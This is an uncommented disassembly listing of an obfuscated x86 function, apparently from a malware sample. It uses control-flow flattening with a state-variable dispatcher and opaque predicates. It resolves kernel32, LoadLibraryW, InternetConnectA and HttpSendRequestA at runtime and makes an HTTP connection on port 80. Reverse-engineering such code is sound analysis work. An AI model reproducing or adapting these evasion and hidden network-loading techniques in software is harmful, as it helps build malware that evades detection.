push 0x1a
push str.kernel32.dll
lea eax, [ebp - 0xfa]
push eax
call fcn.004333a0
add esp, 0xc
mov dword [ebp - 0x10], 0xa9c50648
jmp 0x42c977
push 0x11
push str.InternetConnectA
push dword [ebp - 0x4c]
call fcn.004333a0
add esp, 0xc
push dword [ebp - 0x4c]
push dword [ebp - 0x30]
call edi
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x10], 0xa50e5436
jmp 0x42c977
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x10], 0x592b6a8c
jmp 0x42c977
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x10], 0x33020bbf
jmp 0x42c977
mov dword [ebp - 0x10], 0xd4731c8
jmp 0x42c977
mov eax, dword [ebp - 0x14]
shr eax, 6
imul eax, eax, 0x38
add eax, 0xffffea90
shr eax, 0x1e
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xbd00218a
jmp 0x42c977
mov eax, dword [ebp - 0x14]
lea ecx, [eax + eax*2]
shl ecx, 3
sub ecx, eax
shr ecx, 0xc
imul ecx, ecx, 0x8b
add ecx, 0xffff9277
mov dword [ebp - 0x14], ecx
mov eax, 0x6310c7aa
cmp ecx, 0x26
jb 0x42e1fe
mov eax, 0xa278f3a9
jmp 0x42e1fe
push dword [ebp - 0x48]
push dword [ebp - 0x30]
call edi
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x10], 0x75badd0d
jmp 0x42c977
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
mov eax, 0xa4d9c1e6
jne 0x42def7
mov eax, 0x94b6e091
cmp byte [ebp - 0x26], 0
jne 0x42df02
mov eax, 0x94b6e091
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], ecx
jmp 0x42c977
mov esi, dword [ebp - 0x14]
shl esi, 4
add esi, 0x435
mov dword [ebp - 0x14], esi
push 0x3264
push 0x34a4
push esi
call fcn.004202e8
add esp, 0xc
push esi
push 0x49ac
push 0xc2d
call fcn.004202e8
add esp, 0xc
mov eax, 0xeccad34
cmp esi, 0x26
jge 0x42e1fe
mov eax, 0x6d2e668d
jmp 0x42e1fe
mov eax, dword [ebp - 0x40]
mov byte [eax + 0xc], 0
mov dword [eax + 8], 0x57797261
mov dword [eax + 4], 0x7262694c
mov dword [eax], 0x64616f4c
push dword [ebp - 0x40]
push dword [ebp - 0xa8]
call edi
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x10], 0x2a071572
jmp 0x42c977
mov eax, dword [ebp - 0x14]
shr eax, 0xd
imul esi, eax, 0x76
mov dword [ebp - 0x14], esi
call fcn.0042c95c
mov eax, 0x3fbd82f9
cmp esi, 0x10
jb 0x42e1fe
mov eax, 0x9079e06b
jmp 0x42e1fe
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0xa4]
add eax, ecx
inc eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x10], 0x7cc50aaa
jmp 0x42c977
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x10], 0x323dd097
jmp 0x42c977
mov dword [ebp - 0x10], 0xb24e6ef6
jmp 0x42c977
mov esi, dword [ebp - 0x14]
shr esi, 3
and esi, 0x3ffc00
lea eax, [esi - 0xe8]
mov dword [ebp - 0x14], eax
push eax
call fcn.0042c57f
add esp, 4
mov eax, 0x8ac696a0
test esi, esi
je 0x42e1fe
mov eax, 0x3fbd82f9
jmp 0x42e1fe
push 0xa
call fcn.0043e964
add esp, 4
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov dword [ebp - 0x10], 0xed16d63d
jmp 0x42c977
mov esi, 0x21
mov dword [ebp - 0x14], esi
call fcn.0042c95c
push 0x3fde
push esi
push 0x1302
call fcn.004202e8
add esp, 0xc
mov dword [ebp - 0x10], 0xbd7c45c1
jmp 0x42c977
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x10], 0xa88a8b75
mov dword [ebp - 0x68], 0
jmp 0x42c977
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x10], 0xfe9e6b54
jmp 0x42c977
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x10], 0x3e71f9d2
jmp 0x42c977
cmp dword [ebp - 0xd4], 0
setne byte [ebp - 0x26]
mov dword [ebp - 0x10], 0x7f784f0e
jmp 0x42c977
mov dword [ebp - 0x10], 0x77bf5f57
jmp 0x42c977
imul eax, dword [ebp - 0x18], 0xa9
mov ecx, eax
shr ecx, 1
imul eax, eax
imul edx, eax, 0x765f
add ecx, 0xffffff7a
dec edx
shr ecx, 0xd
mov dword [ebp - 0x18], ecx
mov ecx, 0x97fe1ba4
cmp eax, edx
je 0x42e11a
mov ecx, 0x374609b9
mov dword [ebp - 0x10], ecx
jmp 0x42c977
imul esi, dword [ebp - 0x14], 0x8cf80000
mov dword [ebp - 0x14], esi
push esi
push 0xd81
push 0x1e13
call fcn.004202e8
add esp, 0xc
push esi
call fcn.0042c57f
add esp, 4
mov eax, 0xac5c7333
test esi, esi
je 0x42e1fe
mov eax, 0x2a00a18a
jmp 0x42e1fe
mov dword [ebp - 0x10], 0x9c31a222
jmp 0x42c977
mov eax, dword [ebp - 0xb4]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [ebp - 0xc0]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x3c], eax
mov eax, 0x637a2d94
cmp dword [ebp - 0x3c], ebx
je 0x42e28d
mov eax, 0xf17d0de4
jmp 0x42e28d
mov ebx, edi
mov edi, dword [ebp - 0x14]
mov esi, edi
shr esi, 7
mov dword [ebp - 0x14], esi
call fcn.00405998
push esi
push 0x1fa6
call fcn.0042c1ec
add esp, 8
mov eax, 0xe5de47a9
cmp edi, 0x1380
jb 0x42e1d1
mov eax, 0xf68137be
mov dword [ebp - 0x10], eax
mov edi, ebx
xor ebx, ebx
jmp 0x42c977
mov ecx, dword [ebp - 0x14]
shl ecx, 0x16
add ecx, 0xd3c00091
mov dword [ebp - 0x14], ecx
mov eax, 0x9c31a222
cmp ecx, 0xe8
jge 0x42e1fe
mov eax, 0x6310c7aa
mov dword [ebp - 0x10], eax
jmp 0x42c977
mov eax, dword [ebp - 0x18]
mov ecx, eax
shr ecx, 0xf
imul ecx, ecx
imul edx, ecx, 0x2e93
dec edx
shr eax, 0x12
mov dword [ebp - 0x18], eax
mov eax, 0xe9b512d0
cmp ecx, edx
je 0x42e22c
mov eax, 0x20450f8d
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x7c], 0
jmp 0x42c977
mov dword [ebp - 0x10], 0x9ca64f4e
jmp 0x42c977
push ebx
push ebx
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x10], 0xa5fd90c0
jmp 0x42c977
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 0x68]
imul ecx, ecx
imul edx, ecx, 0x76df
dec edx
add eax, 0xffffff03
mov dword [ebp - 0x18], eax
mov eax, 0x5c91cd5d
cmp ecx, edx
je 0x42e28d
mov eax, 0x46367d57
mov dword [ebp - 0x10], eax
jmp 0x42c977
imul eax, dword [ebp - 0x14], 0x6d1a000
add eax, 0x40d72000
mov dword [ebp - 0x14], eax
push 0x2925
push 0x635c
push eax
call fcn.004202e8
add esp, 0xc
mov dword [ebp - 0x10], 0x28a42e16
jmp 0x42c977
push 0x11
push str.HttpSendRequestA
push dword [ebp - 0x58]
call fcn.004333a0
add esp, 0xc
push dword [ebp - 0x58]
push dword [ebp - 0x30]
call edi
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x10], 0x6dcd08ed
jmp 0x42c977
mov dword [ebp - 0x10], 0xd9c9c091
jmp 0x42c977
push dword [ebp - 0xc8]
push dword [ebp - 0xdc]
call fcn.0043ecc1
add esp, 8
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, dword [ebp - 0x6c]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x10], 0x5f8a49cf
jmp 0x42c977
cmp eax, 0xa88a8b75
jne 0x42c977
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret